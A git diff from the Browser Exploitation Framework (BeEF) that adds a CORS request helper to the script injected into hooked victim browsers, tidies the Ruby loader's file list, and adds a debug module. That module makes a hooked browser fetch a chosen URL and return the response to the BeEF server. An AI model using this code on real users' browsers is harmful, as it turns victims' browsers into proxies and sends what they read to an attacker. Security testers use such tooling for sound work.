diff --git a/core/main/client/net/cors.js b/core/main/client/net/cors.js new file mode 100644 index 000000000..01cf86008 --- /dev/null +++ b/core/main/client/net/cors.js @@ -0,0 +1,77 @@ +beef.net.cors = { + + handler: "cors", + + /** + * Response Object - used in the beef.net.request callback + */ + response:function () { + this.status = null; // 500, 404, 200, 302, etc + this.headers = null; // full response headers + this.body = null; // full response body + }, + + /** + * Make a cross-domain request using CORS + * + * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.) + * @param url {String} url + * @param data {String} request body + * @param callback {Function} function to callback on completion + */ + request: function(method, url, data, callback) { + + var xhr; + var response = new this.response; + + if (XMLHttpRequest) { + xhr = new XMLHttpRequest(); + + if ('withCredentials' in xhr) { + xhr.open(method, url, true); + xhr.onerror = function() { + }; + xhr.onreadystatechange = function() { + if (xhr.readyState === 4) { + response.headers = this.getAllResponseHeaders() + response.body = this.responseText; + response.status = this.status; + if (!!callback) { + if (!!response) { + callback(response); + } else { + callback('ERROR: No Response. CORS requests may be denied for this resource.') + } + } + } + }; + xhr.send(data); + } + } else if (typeof XDomainRequest != "undefined") { + xhr = new XDomainRequest(); + xhr.open(method, url); + xhr.onerror = function() { + }; + xhr.onload = function() { + response.headers = this.getAllResponseHeaders() + response.body = this.responseText; + response.status = this.status; + if (!!callback) { + if (!!response) { + callback(response); + } else { + callback('ERROR: No Response. CORS requests may be denied for this resource.') + } + } + }; + xhr.send(data); + } else { + if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.'); + } + + } + +}; + +beef.regCmp('beef.net.cors'); + diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 41b5ac719..e36fedd7c 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -23,14 +23,16 @@ module BeEF # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js) + # @note BeEF libraries: need Eruby evaluation and obfuscation + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js) # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == false - # @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one! - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js) - else #antisnatchor: leave timeout.js as the last one! - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js) + if config.get("beef.http.websocket.enable") == true + beef_js_sub_files << "websocket.js" end + # @note antisnatchor: leave timeout.js as the last one! + beef_js_sub_files << "timeout.js" + ext_js_to_obfuscate = '' ext_js_to_not_obfuscate = '' diff --git a/modules/debug/test_cors_request/command.js b/modules/debug/test_cors_request/command.js new file mode 100644 index 000000000..bfe5abc2d --- /dev/null +++ b/modules/debug/test_cors_request/command.js @@ -0,0 +1,16 @@ +// +// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var method = "<%= @method %>"; + var url = "<%= @url %>"; + var data = "<%= @data %>"; + + beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); }); + +}); + diff --git a/modules/debug/test_cors_request/config.yaml b/modules/debug/test_cors_request/config.yaml new file mode 100644 index 000000000..19e45a183 --- /dev/null +++ b/modules/debug/test_cors_request/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + test_cors_request: + enable: true + category: "Debug" + name: "Test CORS Request" + description: "Test the beef.net.cors.request function by retrieving a URL." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/debug/test_cors_request/module.rb b/modules/debug/test_cors_request/module.rb new file mode 100644 index 000000000..7ab7f3db9 --- /dev/null +++ b/modules/debug/test_cors_request/module.rb @@ -0,0 +1,23 @@ +# +# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Test_cors_request < BeEF::Core::Command + + def post_execute + content = {} + content['response'] = @datastore['response'] + save content + end + + def self.options + + return [ + {'name' => 'method', 'ui_label' =>'Method', 'type' => 'text', 'width' => '400px', 'value' => 'POST' }, + {'name' => 'url', 'ui_label' =>'URL', 'type' => 'text', 'width' => '400px', 'value' => 'http://graph.facebook.com/fql?q=SELECT%20url,total_count%20FROM%20link_stat%20WHERE%20url=%27http://beefproject.com/%27' }, + {'name' => 'data', 'ui_label' =>'Data', 'type' => 'text', 'width' => '400px', 'value' => 'postdata' }, + ] + end + +end